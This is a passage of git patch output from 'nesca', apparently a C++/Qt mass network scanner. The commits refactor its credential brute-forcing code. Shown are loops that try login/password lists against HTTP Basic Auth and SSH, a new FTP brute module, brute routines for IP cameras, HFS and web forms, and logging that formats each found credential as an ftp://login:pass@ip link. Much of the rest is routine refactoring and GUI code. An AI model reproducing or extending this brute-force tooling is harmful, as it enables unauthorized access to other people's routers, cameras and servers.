strcat(logEmit, ip); -// strcat(logEmit, "</span></a> <font color=\"#43EC00\"><a href=\"http://"); -// strcat(logEmit, ip); -// strcat(logEmit, "/\" style=\"color:#43EC00;\">[ROUTER]</a></font>"); - fputsf (log, flag, "FTP"); fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP"); - - - + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); - } else if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { @@ -1568,37 +1495,6 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> (F:%d)", lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.directoryCount); -// strcat(log, "<a href=\"ftp://"); -// strcat(log, lps.login); -// strcat(log, ":"); -// strcat(log, lps.pass); -// strcat(log, "@"); -// strcat(log, ip); -// strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://"); -// strcat(log, lps.login); -// strcat(log, ":"); -// strcat(log, lps.pass); -// strcat(log, "@"); -// strcat(log, ip); -// strcat(log, "</span></a>"); -// strcat(log, ps.headr); - -// strcat(logEmit, "<a href=\"ftp://"); -// strcat(logEmit, lps.login); -// strcat(logEmit, ":"); -// strcat(logEmit, lps.pass); -// strcat(logEmit, "@"); -// strcat(logEmit, ip); -// strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://"); -// strcat(logEmit, lps.login); -// strcat(logEmit, ":"); -// strcat(logEmit, lps.pass); -// strcat(logEmit, "@"); -// strcat(logEmit, ip); -// strcat(logEmit, "</span></a> (F:"); -// strcat(logEmit, std::to_string(ps.directoryCount).c_str()); -// strcat(logEmit, ")"); - fputsf(log, flag, "FTP"); fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP"); @@ -1769,60 +1665,39 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd); } else if(flag == 15) //For HFS - { - char temp[64] = {0}; + { char log[512] = {0}; - isActive = 1; ++AnomC1; - lps = _BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]"); + const lopaStr &lps = BA::_BALobby((string(ip) + "/~login").c_str(), p); sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>", hl, ip, port, ip, port, finalstr, lps.login, lps.pass); - -// strcpy(log, "[HFS]:<font color=\"#ff6600\">"); -// strcat(log, hl); -// strcat(log, " :: </font><a href=\"http://"); -// strcat(log, ip); -// strcat(log, ":"); -// strcat(log, port); -// strcat(log, "/\"><span style=\"color: #a1a1a1;\">"); -// strcat(log, ip); -// strcat(log, ":"); -// strcat(log, port); -// strcat(log, "</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">"); -// strcat(log, finalstr); -// strcat(log, " Pass: "); -// strcat(log, lps.login); -// strcat(log, ":"); -// strcat(log, lps.pass); -// strcat(log, "</font>"); + fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization"); fputsf (log , flag, "HFS"); - stt->doEmitionFoundData(QString::fromLocal8Bit(log)); - ZeroMemory(temp, sizeof(temp)); + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); } else if(flag == 1) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", cp, recd); + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, baPath, "[NORMAL]", cp, recd); } else if(flag == 101) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", cp, recd); + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, baPath, "[DIGEST]", cp, recd); } else if(flag == 10) { - _specWFBrute(ip, p, hl, rBuff, flag, pps, "Web Form", "Web Form", cp, recd, finalstr); + _specWFBrute(ip, p, hl, buffcpy, flag, baPath, "Web Form", "Web Form", cp, recd, finalstr); } else { putInFile(flag, ip, port, recd, finalstr, hl, cp); }; - return flag; } -int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector<std::string> *redirStrLst, char *buff) +int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector<std::string> *redirStrLst) { if(ls->iterationCount++ == 5) { @@ -1893,12 +1768,12 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P sprintf(nip.get(), "%s%s", tempIP, tempPath); std::string buffer; int cSz = Connector::nConnect(nip.get(), tempPort, &buffer); - if(cSz > -1) - { - strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535)); - strcpy(ps->codepage, GetCodePage(buff)); - ls->flag = ContentFilter(buff, tempPort, tempIP, ps->codepage); + if(cSz > -1) + { + strcpy(ps->codepage, GetCodePage(buffer.c_str())); + + ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage); ps->flag = ls->flag; if(ls->flag == -1) @@ -1908,10 +1783,11 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return -1; }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) { - strcat(ps->headr, GetTitle(buff)); + strcat(ps->headr, GetTitle(buffer.c_str())); ps->flag = ls->flag; strcpy(ps->path, tempPath); ps->port = tempPort; @@ -1919,6 +1795,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return -2; }; + if(ls->flag == 6) { ps->flag = ls->flag; @@ -1927,8 +1804,9 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(buff)); - if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1) + strcat(ps->headr, GetTitle(buffer.c_str())); + + if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1) { ps->flag = -1; strcpy(ps->path, tempPath); @@ -1936,17 +1814,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return -1; }; - ps->port = tempPort; -// if(strlen(buff) < 1) -// { -// ps->flag = 3; -// ls->flag = 3; -// } -// else if(cstr.overflow == true) -// { -// ls->flag = 0; -// ps->flag = 0; -// }; + ps->port = tempPort; } else { @@ -1962,14 +1830,17 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P tempPort = 80; char *ptr1 = strstri(str, "http://"); char *ptr2 = _findFirst(str + 7, ":/?"); + if(ptr2 != NULL) { int sz = ptr2 - ptr1 - 7; ZeroMemory(tempIP, MAX_ADDR_LEN); strncpy(tempIP, ptr1 + 7, sz < 128 ? sz : 128); + if(ptr2[0] == ':') { char *ptrPath = strstr(ptr2, "/"); + if(ptrPath != NULL) { sz = ptrPath - ptr2 - 1; @@ -2012,12 +1883,12 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P sprintf(nip.get(), "%s%s", tempIP, tempPath); std::string buffer; int cSz = Connector::nConnect(nip.get(), tempPort, &buffer); - if(cSz > -1) - { - strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535)); - strcpy(ps->codepage, GetCodePage(buff)); - ls->flag = ContentFilter(buff, tempPort, tempIP, ps->codepage); + if(cSz > -1) + { + strcpy(ps->codepage, GetCodePage(buffer.c_str())); + + ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage); ps->flag = ls->flag; if(ls->flag == -1) @@ -2027,10 +1898,11 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return -1; }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) { - strcat(ps->headr, GetTitle(buff)); + strcat(ps->headr, GetTitle(buffer.c_str())); ps->flag = ls->flag; strcpy(ps->path, tempPath); ps->port = tempPort; @@ -2038,6 +1910,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return -2; }; + if(ls->flag == 6) { ps->flag = ls->flag; @@ -2046,9 +1919,9 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(buff)); + strcat(ps->headr, GetTitle(buffer.c_str())); - if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1) + if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1) { ps->flag = -1; strcpy(ps->path, tempPath); @@ -2056,17 +1929,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return -1; }; ps->port = tempPort; - -// if(strlen(buff) < 1) -// { -// ps->flag = 3; -// ls->flag = 3; -// } -// else if(cstr.overflow == true) -// { -// ls->flag = 0; -// ps->flag = 0; -// }; } else { @@ -2087,12 +1949,12 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P sprintf(nip.get(), "%s%s", tempIP, tempPath); std::string buffer; int cSz = Connector::nConnect(nip.get(), tempPort, &buffer); - if(cSz > -1) - { - strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535)); - strcpy(ps->codepage, GetCodePage(buff)); - ls->flag = ContentFilter(buff, port, ip, ps->codepage); + if(cSz > -1) + { + strcpy(ps->codepage, GetCodePage(buffer.c_str())); + + ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage); ps->flag = ls->flag; if(ls->flag == -1) @@ -2106,7 +1968,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) { - strcat(ps->headr, GetTitle(buff)); + strcat(ps->headr, GetTitle(buffer.c_str())); ps->flag = ls->flag; strcpy(ps->path, tempPath); ps->port = port; @@ -2122,9 +1984,9 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; strcat(ps->headr, "->"); - strcat(ps->headr, GetTitle(buff)); + strcat(ps->headr, GetTitle(buffer.c_str())); - if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1) + if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1) { ps->flag = -1; strcpy(ps->path, tempPath); @@ -2132,17 +1994,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return -1; }; ps->port = tempPort; -// if(strlen(buff) < 1) -// { -// ps->flag = 3; -// ls->flag = 3; -// } -// else if(cstr.overflow == true) -// { -// ls->flag = 0; -// ps->flag = 0; -// }; - } else { @@ -2158,13 +2009,14 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P sprintf(nip.get(), "%s%s", ip, str); std::string buffer; int cSz = Connector::nConnect(nip.get(), port, &buffer); - if(cSz > -1) - { - strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535)); - strcpy(ps->codepage, GetCodePage(buff)); - ls->flag = ContentFilter(buff, port, ip, ps->codepage); + if(cSz > -1) + { + strcpy(ps->codepage, GetCodePage(buffer.c_str())); + + ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage); ps->flag = ls->flag; + if(ls->flag == -1) { ps->flag = -1; @@ -2176,7 +2028,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) { - strcat(ps->headr, GetTitle(buff)); + strcat(ps->headr, GetTitle(buffer.c_str())); ps->flag = ls->flag; strcpy(ps->path, tempPath); ps->port = port; @@ -2193,20 +2045,9 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(buff)); - ls->_header(ip, port, buff, ls, ps, redirStrLst, buff); + strcat(ps->headr, GetTitle(buffer.c_str())); + ls->_header(ip, port, buffer.c_str(), ls, ps, redirStrLst); ps->port = tempPort; - -// if(strlen(buff) < 1) -// { -// ps->flag = 3; -// ls->flag = 3; -// } -// else if(cstr.overflow == true) -// { -// ls->flag = 0; -// ps->flag = 0; -// }; } else { @@ -2284,7 +2125,7 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int sz = ptrQuoteTemp - ptrQuote1 + 1; } char *tempBuff = new char[sz + 1]; - ZeroMemory(tempBuff, sizeof(tempBuff)); + ZeroMemory(tempBuff, sizeof(*tempBuff)); strncpy(tempBuff, ptrQuote1 + 1, sz); memset(tempBuff + sz, 0, 1); char delim[2] = {0}; @@ -2365,7 +2206,7 @@ void _getJSCookie(char *dataBuff, const char *str, char *ip, int port) }; } -int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, char *rBuff) +int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst) { std::string redirectStr = ""; if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), COOKIE_MAX_SIZE); @@ -2455,7 +2296,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff); + redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst); }; }; delete []scriptContainer; @@ -2506,7 +2347,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - return redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff); + return redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst); } return -1; }; delete []scriptContainer; @@ -2620,7 +2461,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - return redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst, rBuff); + return redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst); }; } else @@ -2690,7 +2531,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) { redirStrLst->push_back(redirStr); - return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst, rBuff); + return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst); } return -1; } return -2; diff --git a/mainResources.h b/mainResources.h index ec78631..6311ff2 100644 --- a/mainResources.h +++ b/mainResources.h @@ -131,8 +131,7 @@ class Lexems const char str[], Lexems *l, PathStr *ps, - std::vector<std::string> *lst, - char *rBuff); + std::vector<std::string> *lst); int _filler(int p, const char *buffcpy, @@ -148,16 +147,16 @@ class Connector_old public: int _Updater(); - lopaStr _FTPLobby(char *ip, - int port, - PathStr *ps); +// lopaStr _FTPLobby(char *ip, +// int port, +// PathStr *ps); - lopaStr _BALobby(char *cookie, - char *ip, - int port, - char *path, - char *method, - char *data); +// lopaStr _BALobby(char *cookie, +// char *ip, +// int port, +// char *path, +// char *method, +// char *data); lopaStr _WFLobby(char *cookie, char *ip, @@ -185,5 +184,5 @@ class Connector_old extern lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); -extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method); -extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps); +//extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method); +//extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps); diff --git a/msgcheckerthread.cpp b/msgcheckerthread.cpp index 9f71f8c..20edc81 100644 --- a/msgcheckerthread.cpp +++ b/msgcheckerthread.cpp @@ -22,9 +22,9 @@ void _getNewMsg() if(buffer.size() > 0) { if(Utils::ci_find_substr(buffer, std::string("\r\n\r\n")) != -1 - && Utils::ci_find_substr(buffer, std::string("HTTP/1.1 404 Not Found")) == -1 - && Utils::ci_find_substr(buffer, std::string("HTTP/1.1 502 Bad Gateway")) == -1 - && Utils::ci_find_substr(buffer, std::string("HTTP/1.1 400 Bad Request")) == -1 + && Utils::ci_find_substr(buffer, std::string("404 Not Found")) == -1 + && Utils::ci_find_substr(buffer, std::string("502 Bad Gateway")) == -1 + && Utils::ci_find_substr(buffer, std::string("400 Bad Request")) == -1 && Utils::ci_find_substr(buffer, std::string("\r\n\r\nEmpty")) == -1 ) { @@ -41,7 +41,7 @@ void MSGCheckerThread::run() { for(;;) { - Sleep(60000); - _getNewMsg(); + Sleep(60000); + if(strlen(trcPersKey) != 0) _getNewMsg(); }; } diff --git a/nesca.pro b/nesca.pro index 4cb5581..e9cf8bb 100644 --- a/nesca.pro +++ b/nesca.pro @@ -42,7 +42,8 @@ SOURCES +=\ connector_old.cpp \ Utils.cpp \ BruteUtils.cpp \ - BasicAuth.cpp + BasicAuth.cpp \ + FTPAuth.cpp HEADERS += ActivityDrawerTh_HorNet.h \ @@ -71,7 +72,8 @@ HEADERS += ActivityDrawerTh_HorNet.h \ WebformWorker.h \ Connector.h \ BasicAuth.h \ - BruteUtils.h + BruteUtils.h \ + FTPAuth.h FORMS += nesca_3.ui diff --git a/nesca_3.cpp b/nesca_3.cpp index 1574eca..248b81d 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -739,7 +739,6 @@ void nesca_3::slotAddLine(int x1, int y1, int x2, int y2) }; } - void nesca_3::slotAddPolyLine() { if(ME2ScanFlag) @@ -2216,6 +2215,7 @@ void nesca_3::slotOutData(QString str) str.replace("Content-Length:", "<font color=\"GoldenRod\">Content-Length:</font>"); str.replace("Authorization:", "<font color=\"GoldenRod\">Authorization:</font>"); str.replace("X-Nescav3:", "<font color=\"GoldenRod\">X-Nescav3:</font>"); + str.replace("Referer:", "<font color=\"GoldenRod\">Referer:</font>"); _rOutProt.indexIn(str); prot = _rOutProt.cap(0); @@ -2241,7 +2241,7 @@ QRegExp _rIncRN("\r\n(_|-|=|.*)*:"); void nesca_3::slotIncData(QString ip, QString str) { if(RecvData != NULL) - { + { QStringList headNbody = str.split("\r\n\r\n"); QString tStr; QString tagRes; @@ -2540,8 +2540,7 @@ void nesca_3::IPScanSeq() if(ui->portLine->text() != "") { ui->labelParsed_Value->setText("0/0"); - stopFirst = false; - saveOptions(); + stopFirst = false; ui->tabMainWidget->setTabEnabled(1, false); ui->tabMainWidget->setTabEnabled(2, false); @@ -2637,8 +2636,7 @@ void nesca_3::DNSScanSeq() ui->lineILVL->setText(topLevelDomainStr); }; - stopFirst = false; - saveOptions(); + stopFirst = false; ui->tabMainWidget->setTabEnabled(0, false); ui->tabMainWidget->setTabEnabled(2, false); diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 5e889ee..cecd075 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -26,7 +26,6 @@ int ipCounter = 0; int mode; int found = 0, indexIP = 1; int gMode; -int isActive = 0; int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0; int ipsstart[4], ipsend[4], overallPorts, flCounter, octet[4]; @@ -187,7 +186,7 @@ void _SaveBackupToFile() } else { - if(strstr(endIP2, "-") != NULL) strcpy(endStr, strstr(endIP2, "-")); + if(strstr(endIP2, "-") != NULL) strcpy(endStr, endIP2);//strcpy(endStr, strstr(endIP2, "-")); else if(strstr(endIP2, "/") != NULL) strcpy(endStr, strstr(endIP2, "/")); else { @@ -203,8 +202,7 @@ void _SaveBackupToFile() { strcpy(saveStr, "[SESSION]:"); strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " "); - if(gMode == 0) strcat(saveStr, saveStartIP); + strcat(saveStr, " "); strcat(saveStr, endStr); if(gMode == 1) { @@ -2602,8 +2600,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); { if (flCounter == 0) { - stt->doEmitionRedFoundData("Empty IP list."); - isActive = 0; + stt->doEmitionRedFoundData("Empty IP list."); globalScanFlag = false; stt->doEmitionKillSttThread(); @@ -2747,7 +2744,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); stt->doEmitionChangeStatus("Stopping..."); - while(cons > 0 || isActive == 1 || jsonArr->size() > 0) { + while(cons > 0 || jsonArr->size() > 0) { Sleep(2000); }; From e144b2823dc1e12a8204c1012d0ba8474ed050e2 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Tue, 17 Mar 2015 17:30:53 +0300 Subject: [PATCH 34/66] BA+FTP+finder --- BasicAuth.cpp | 12 +- Connector.cpp | 24 +- DrawerTh_ME2Scanner.cpp | 62 +-- DrawerTh_ME2Scanner.h | 2 +- FTPAuth.cpp | 13 +- Threader.cpp | 21 + Threader.h | 21 + connector_old.cpp | 1006 --------------------------------------- finder.cpp | 102 +++- mainResources.h | 5 + nesca.pro | 6 +- nesca_3.cpp | 103 ++-- nesca_3.ui | 6 + nesca_startModule.cpp | 95 ++-- 14 files changed, 284 insertions(+), 1194 deletions(-) create mode 100644 Threader.cpp create mode 100644 Threader.h diff --git a/BasicAuth.cpp b/BasicAuth.cpp index 73c84b0..4e060fa 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -23,7 +23,6 @@ lopaStr BA::_BABrute(const char *ip, const int port) { strcpy(lps.login, "UNKNOWN"); for(int i = 0; i < MaxLogin; ++i) { - if(!globalScanFlag) return lps; for (int j = 0; j < MaxPass; ++j) { if (!globalScanFlag) return lps; @@ -31,7 +30,7 @@ lopaStr BA::_BABrute(const char *ip, const int port) { Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString); - if(checkOutput(&buffer) != 0) { + if(checkOutput(&buffer)) { strcpy(lps.login, loginLst[i]); strcpy(lps.pass, passLst[j]); return lps; @@ -44,13 +43,12 @@ lopaStr BA::_BABrute(const char *ip, const int port) { return lps; } -lopaStr BA::_BALobby(const char *ip, const int port) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); +lopaStr BA::_BALobby(const char *ip, const int port) { + while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); BruteUtils::BConInc(); - const lopaStr &res = _BABrute(ip, port); + const lopaStr &lps = _BABrute(ip, port); BruteUtils::BConDec(); - return res; + return lps; } diff --git a/Connector.cpp b/Connector.cpp index 58ec71c..a62cd9d 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -176,6 +176,7 @@ int _EstablishSSHConnection(char *host, int port, std::string *buffer, const cha int sz = 0; char *ptr1 = 0; int res = -1; + for(int i = 0; i < MaxSSHPass; ++i) { if(globalScanFlag == false) break; @@ -188,6 +189,7 @@ int _EstablishSSHConnection(char *host, int port, std::string *buffer, const cha ZeroMemory(login, sizeof(login)); ZeroMemory(pass, sizeof(pass)); ZeroMemory(temp, sizeof(temp)); + if(res == 0) { if(i == 0) return -2; //Failhit @@ -199,6 +201,7 @@ int _EstablishSSHConnection(char *host, int port, std::string *buffer, const cha BruteUtils::BConDec(); return -2; }; + Sleep(500); }; BruteUtils::BConDec(); @@ -227,12 +230,10 @@ int my_trace(CURL *handle, curl_infotype type, char *data, size_t size, void *userp) { - switch (type) { - case CURLINFO_HEADER_OUT: { - data[strstr(data, "\r\n\r\n") - data] = '\0'; - stt->doEmitionAddOutData(QString(data)); - break; - } + if (type == CURLINFO_HEADER_OUT) { + Activity += strlen(data); + data[strstr(data, "\r\n\r\n") - data] = '\0'; + stt->doEmitionAddOutData(QString(data)); } return 0; @@ -251,6 +252,7 @@ int Connector::nConnect(const char *ip, const int port, std::string *buffer, buffer->clear(); CURL *curl = curl_easy_init(); curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 0L); + int res = 0; if (curl) { @@ -299,10 +301,11 @@ int Connector::nConnect(const char *ip, const int port, std::string *buffer, if(lpString != NULL) { curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); - curl_easy_setopt(curl, CURLOPT_USERPWD, lpString); - }; + //curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, TRUE); + curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str()); + };// - curl_easy_perform(curl); + if(curl_easy_perform(curl) != CURLE_OK) return -1; curl_easy_cleanup(curl); } else { stt->doEmitionRedFoundData("Curl error."); @@ -310,8 +313,11 @@ int Connector::nConnect(const char *ip, const int port, std::string *buffer, }; if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str())); + + Activity += buffer->size(); return buffer->size(); } + int Connector::_ConnectToPort(char *ip, int port, char *hl) { if(gPingNScan) diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp index 8325b01..205e007 100644 --- a/DrawerTh_ME2Scanner.cpp +++ b/DrawerTh_ME2Scanner.cpp @@ -19,12 +19,12 @@ void DrawerTh_ME2Scanner::doEmitionAddPolyLine() void MakePolygonLine(int gWidth) { DrawerTh_ME2Scanner::polyVect.clear(); - int x = 0; - int tx = 0; + int x = 0; + int tx = 0; int xtx = 0; QPointF qp(0, ME2YPOS); DrawerTh_ME2Scanner::polyVect.append(qp); - int fact1 = 0, + int fact1 = 0, fact2 = 0, fact3 = 0, fact4 = 0, @@ -35,86 +35,86 @@ void MakePolygonLine(int gWidth) bool state = stt->isRunning(); for(int i = 1; i < 130; ++i) { - x = qrand() % 4 + 2 + i; - xtx = x + tx; + x = qrand() % 4 + i; + xtx = x + tx; if(xtx > 1 && xtx < 31) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - AnomC1 * 2 - fact1 : ME2YPOS); + qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - AnomC1 * 2 - fact1 : ME2YPOS); if(AnomC1 > 0) { - if(xtx < 16 ) fact1+=2; + if(xtx < 16 ) fact1+=2; else fact1-=2; - }; + }; } if(xtx > 34 && xtx < 72) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - WF * 2 - fact2 : ME2YPOS); + qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - WF * 2 - fact2 : ME2YPOS); if(WF > 0) { - if(xtx < 52 ) fact2+=2; + if(xtx < 52 ) fact2+=2; else fact2-=2; - }; + }; } if(xtx > 74 && xtx < 112) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - BA * 2 - fact3 : ME2YPOS); + qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - BA * 2 - fact3 : ME2YPOS); if(BA > 0) { - if(xtx < 92 ) fact3+=2; + if(xtx < 92 ) fact3+=2; else fact3-=2; - }; + }; } if(xtx > 114 && xtx < 152) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - Susp * 2 - fact4 : ME2YPOS); + qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Susp * 2 - fact4 : ME2YPOS); if(Susp > 0) { - if(xtx < 132 ) fact4+=2; + if(xtx < 132 ) fact4+=2; else fact4-=2; - }; + }; } if(xtx > 154 && xtx < 192) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - Overl * 2 - fact5 : ME2YPOS); + qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Overl * 2 - fact5 : ME2YPOS); if(Overl > 0) { - if(xtx < 172 ) fact5+=2; + if(xtx < 172 ) fact5+=2; else fact5-=2; - }; + }; } - if(xtx > 194 && xtx < 232) + if(xtx > 194 && xtx < 232) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - Lowl * 2 - fact6 : ME2YPOS); + qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Lowl * 2 - fact6 : ME2YPOS); if(Lowl > 0) { - if(xtx < 212 ) fact6+=2; + if(xtx < 212 ) fact6+=2; else fact6-=2; - }; + }; } - if(xtx > 234 && xtx < 269) + if(xtx > 234 && xtx < 269) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - Alive * 2 - fact7 : ME2YPOS); + qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Alive * 2 - fact7 : ME2YPOS); if(Alive > 0) { - if(xtx < 252 ) fact7+=2; - else fact7-=2; - }; + if(xtx < 252 ) fact7+=1; + else fact7-=1; + }; }; - DrawerTh_ME2Scanner::polyVect.append(qp); - tx = x; + DrawerTh_ME2Scanner::polyVect.append(qp); + tx = x; }; AnomC1 = 0; diff --git a/DrawerTh_ME2Scanner.h b/DrawerTh_ME2Scanner.h index a2c3c1f..2631c9d 100644 --- a/DrawerTh_ME2Scanner.h +++ b/DrawerTh_ME2Scanner.h @@ -1,7 +1,7 @@ #ifndef DRAWERTH_ME2SCANNER_H #define DRAWERTH_ME2SCANNER_H -#define ME2YPOS 100 +#define ME2YPOS 97 #define ME2GRADPOS 10 #include "STh.h" diff --git 